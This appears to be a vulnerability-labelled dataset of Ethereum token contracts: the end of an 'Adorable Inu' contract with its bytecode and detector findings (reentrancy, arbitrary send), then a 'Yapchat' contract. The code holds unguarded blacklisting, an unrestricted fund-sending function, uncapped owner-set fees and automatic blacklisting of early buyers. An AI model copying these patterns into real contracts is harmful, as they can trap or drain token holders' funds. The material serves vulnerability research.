function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract AdorableInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping(address => bool) public bots;
uint256 private _tTotal = 180000000 * 10**18;
uint256 private _maxWallet= 180000000 * 10**18;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 public _maxTxAmount;
string private constant _name = "Adorable Inu";
string private constant _symbol = "AINU";
uint8 private constant _decimals = 18;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_taxFee = 10;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_balance[address(this)] = _tTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(100);
_maxWallet=_tTotal.div(50);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balance[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<=_maxTxAmount,"Transaction amount limited");
}
require(!bots[from] && !bots[to], "This account is blacklisted");
if(to != _pair && ! _isExcludedFromFee[to] && ! _isExcludedFromFee[from]) {
require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance >= 1000000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:_taxFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function decreaseTax(uint256 newTaxRate) public onlyOwner{
require(newTaxRate<_taxFee);
_taxFee=newTaxRate;
}
function increaseBuyLimit(uint256 amount) public onlyOwner{
require(amount>_maxTxAmount);
_maxTxAmount=amount;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function createUniswapPair() external onlyOwner {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function addLiquidity() external onlyOwner{
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private {
uint256 tTeam = tAmount.mul(taxRate).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
_balance[sender] = _balance[sender].sub(tAmount);
_balance[recipient] = _balance[recipient].add(tTransferAmount);
_balance[address(this)] = _balance[address(this)].add(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function increaseMaxWallet(uint256 amount) public onlyOwner{
require(amount>_maxWallet);
_maxWallet=amount;
}
receive() external payable {}
function blockBots(address[] memory bots_) public {for (uint256 i = 0; i < bots_.length; i++) {bots[bots_[i]] = true;}}
function unblockBot(address notbot) public {
require(_msgSender()==_taxWallet);
bots[notbot] = false;
}
function manualSend() public{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
}
|
0x60806040526004361061012d5760003560e01c806370a08231116100ab5780639a024c1a1161006f5780639a024c1a14610358578063a9059cbb14610378578063bfd7928414610398578063dd62ed3e146103c8578063e8078d941461040e578063f42938901461042357600080fd5b806370a08231146102a2578063715018a6146102d85780637d1db4a5146102ed5780638da5cb5b1461030357806395d89b411461032b57600080fd5b8063313ce567116100f2578063313ce567146102115780633e7175c51461022d5780634a1316721461024d57806350e6a5c9146102625780636b9990531461028257600080fd5b8062b8cf2a1461013957806306fdde031461015b578063095ea7b3146101a257806318160ddd146101d257806323b872dd146101f157600080fd5b3661013457005b600080fd5b34801561014557600080fd5b50610159610154366004611492565b610438565b005b34801561016757600080fd5b5060408051808201909152600c81526b41646f7261626c6520496e7560a01b60208201525b6040516101999190611557565b60405180910390f35b3480156101ae57600080fd5b506101c26101bd3660046115ac565b6104a4565b6040519015158152602001610199565b3480156101de57600080fd5b506006545b604051908152602001610199565b3480156101fd57600080fd5b506101c261020c3660046115d8565b6104bb565b34801561021d57600080fd5b5060405160128152602001610199565b34801561023957600080fd5b50610159610248366004611619565b610524565b34801561025957600080fd5b5061015961056a565b34801561026e57600080fd5b5061015961027d366004611619565b610807565b34801561028e57600080fd5b5061015961029d366004611632565b610844565b3480156102ae57600080fd5b506101e36102bd366004611632565b6001600160a01b031660009081526002602052604090205490565b3480156102e457600080fd5b50610159610885565b3480156102f957600080fd5b506101e3600a5481565b34801561030f57600080fd5b506000546040516001600160a01b039091168152602001610199565b34801561033757600080fd5b5060408051808201909152600481526341494e5560e01b602082015261018c565b34801561036457600080fd5b50610159610373366004611619565b6108f9565b34801561038457600080fd5b506101c26103933660046115ac565b610936565b3480156103a457600080fd5b506101c26103b3366004611632565b60056020526000908152604090205460ff1681565b3480156103d457600080fd5b506101e36103e336600461164f565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561041a57600080fd5b50610159610943565b34801561042f57600080fd5b50610159610a5d565b60005b81518110156104a05760016005600084848151811061045c5761045c611688565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610498816116b4565b91505061043b565b5050565b60006104b1338484610ab0565b5060015b92915050565b60006104c8848484610bd4565b61051a843361051585604051806060016040528060288152602001611853602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190611017565b610ab0565b5060019392505050565b6000546001600160a01b031633146105575760405162461bcd60e51b815260040161054e906116cf565b60405180910390fd5b600754811161056557600080fd5b600755565b6000546001600160a01b031633146105945760405162461bcd60e51b815260040161054e906116cf565b600c54600160a01b900460ff16156105ee5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161054e565b600b5460065461060b9130916001600160a01b0390911690610ab0565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561065e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106829190611704565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107089190611704565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610755573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107799190611704565b600c80546001600160a01b0319166001600160a01b03928316908117909155600b5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af11580156107e0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108049190611721565b50565b6000546001600160a01b031633146108315760405162461bcd60e51b815260040161054e906116cf565b600a54811161083f57600080fd5b600a55565b6009546001600160a01b0316336001600160a01b03161461086457600080fd5b6001600160a01b03166000908152600560205260409020805460ff19169055565b6000546001600160a01b031633146108af5760405162461bcd60e51b815260040161054e906116cf565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146109235760405162461bcd60e51b815260040161054e906116cf565b600854811061093157600080fd5b600855565b60006104b1338484610bd4565b6000546001600160a01b0316331461096d5760405162461bcd60e51b815260040161054e906116cf565b600b546001600160a01b031663f305d719473061099f816001600160a01b031660009081526002602052604090205490565b6000806109b46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a1c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a419190611743565b5050600c805462ff00ff60a01b19166201000160a01b17905550565b4761080481611051565b6000610aa983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061108b565b9392505050565b6001600160a01b038316610b125760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161054e565b6001600160a01b038216610b735760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161054e565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c385760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161054e565b6001600160a01b038216610c9a5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161054e565b60008111610cfc5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161054e565b6000546001600160a01b03848116911614801590610d2857506000546001600160a01b03838116911614155b15610fb657600c546001600160a01b038481169116148015610d585750600b546001600160a01b03838116911614155b8015610d7d57506001600160a01b03821660009081526004602052604090205460ff16155b15610dd457600a54811115610dd45760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000604482015260640161054e565b6001600160a01b03831660009081526005602052604090205460ff16158015610e1657506001600160a01b03821660009081526005602052604090205460ff16155b610e625760405162461bcd60e51b815260206004820152601b60248201527f54686973206163636f756e7420697320626c61636b6c69737465640000000000604482015260640161054e565b600c546001600160a01b03838116911614801590610e9957506001600160a01b03821660009081526004602052604090205460ff16155b8015610ebe57506001600160a01b03831660009081526004602052604090205460ff16155b15610f3e5760075481610ee6846001600160a01b031660009081526002602052604090205490565b610ef09190611771565b1115610f3e5760405162461bcd60e51b815260206004820152601c60248201527f42616c616e63652065786365656465642077616c6c65742073697a6500000000604482015260640161054e565b30600090815260026020526040902054600c54600160a81b900460ff16158015610f765750600c546001600160a01b03858116911614155b8015610f8b5750600c54600160b01b900460ff165b15610fb457610f99816110b9565b47670de0b6b3a76400008110610fb257610fb247611051565b505b505b6001600160a01b0382166000908152600460205260409020546110129084908490849060ff1680610fff57506001600160a01b03871660009081526004602052604090205460ff165b61100b57600854611233565b6000611233565b505050565b6000818484111561103b5760405162461bcd60e51b815260040161054e9190611557565b5060006110488486611789565b95945050505050565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156104a0573d6000803e3d6000fd5b600081836110ac5760405162461bcd60e51b815260040161054e9190611557565b50600061104884866117a0565b600c805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061110157611101611688565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561115a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061117e9190611704565b8160018151811061119157611191611688565b6001600160a01b039283166020918202929092010152600b546111b79130911684610ab0565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111f09085906000908690309042906004016117c2565b600060405180830381600087803b15801561120a57600080fd5b505af115801561121e573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b600061124a60646112448585611337565b90610a67565b9050600061125884836113b6565b6001600160a01b03871660009081526002602052604090205490915061127e90856113b6565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546112ad90826113f8565b6001600160a01b0386166000908152600260205260408082209290925530815220546112d990836113f8565b3060009081526002602090815260409182902092909255518281526001600160a01b0387811692908916917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050505050565b600082611346575060006104b5565b60006113528385611833565b90508261135f85836117a0565b14610aa95760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161054e565b6000610aa983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611017565b6000806114058385611771565b905083811015610aa95760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161054e565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461080457600080fd5b803561148d8161146d565b919050565b600060208083850312156114a557600080fd5b823567ffffffffffffffff808211156114bd57600080fd5b818501915085601f8301126114d157600080fd5b8135818111156114e3576114e3611457565b8060051b604051601f19603f8301168101818110858211171561150857611508611457565b60405291825284820192508381018501918883111561152657600080fd5b938501935b8285101561154b5761153c85611482565b8452938501939285019261152b565b98975050505050505050565b600060208083528351808285015260005b8181101561158457858101830151858201604001528201611568565b81811115611596576000604083870101525b50601f01601f1916929092016040019392505050565b600080604083850312156115bf57600080fd5b82356115ca8161146d565b946020939093013593505050565b6000806000606084860312156115ed57600080fd5b83356115f88161146d565b925060208401356116088161146d565b929592945050506040919091013590565b60006020828403121561162b57600080fd5b5035919050565b60006020828403121561164457600080fd5b8135610aa98161146d565b6000806040838503121561166257600080fd5b823561166d8161146d565b9150602083013561167d8161146d565b809150509250929050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156116c8576116c861169e565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561171657600080fd5b8151610aa98161146d565b60006020828403121561173357600080fd5b81518015158114610aa957600080fd5b60008060006060848603121561175857600080fd5b8351925060208401519150604084015190509250925092565b600082198211156117845761178461169e565b500190565b60008282101561179b5761179b61169e565b500390565b6000826117bd57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118125784516001600160a01b0316835293830193918301916001016117ed565b50506001600160a01b03969096166060850152505050608001529392505050565b600081600019048311821515161561184d5761184d61169e565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122072f95fcd83ea7e4cf4d3549d96483f34aab8d09bfd69e5e26cdbb1a1374bb40764736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,729 |
0xc425405a205da4312f08b80b8941a99e3eae7078
|
/**
*Submitted for verification at Etherscan.io on 2022-03-29
*/
/**
https://t.me/YapChatToken
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Yapchat is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Yapchat";//
string private constant _symbol = "YAP";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 12;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 18;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x2636ab4aFA8870ff3F7d0688b2ba9542216ddE45);//
address payable private _marketingAddress = payable(0x3688e4ce7b9FdBd6C38f7Cd5e87E4F446d89a273);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1330000000 * 10**9; //
uint256 public _maxWalletSize = 2000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 1000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
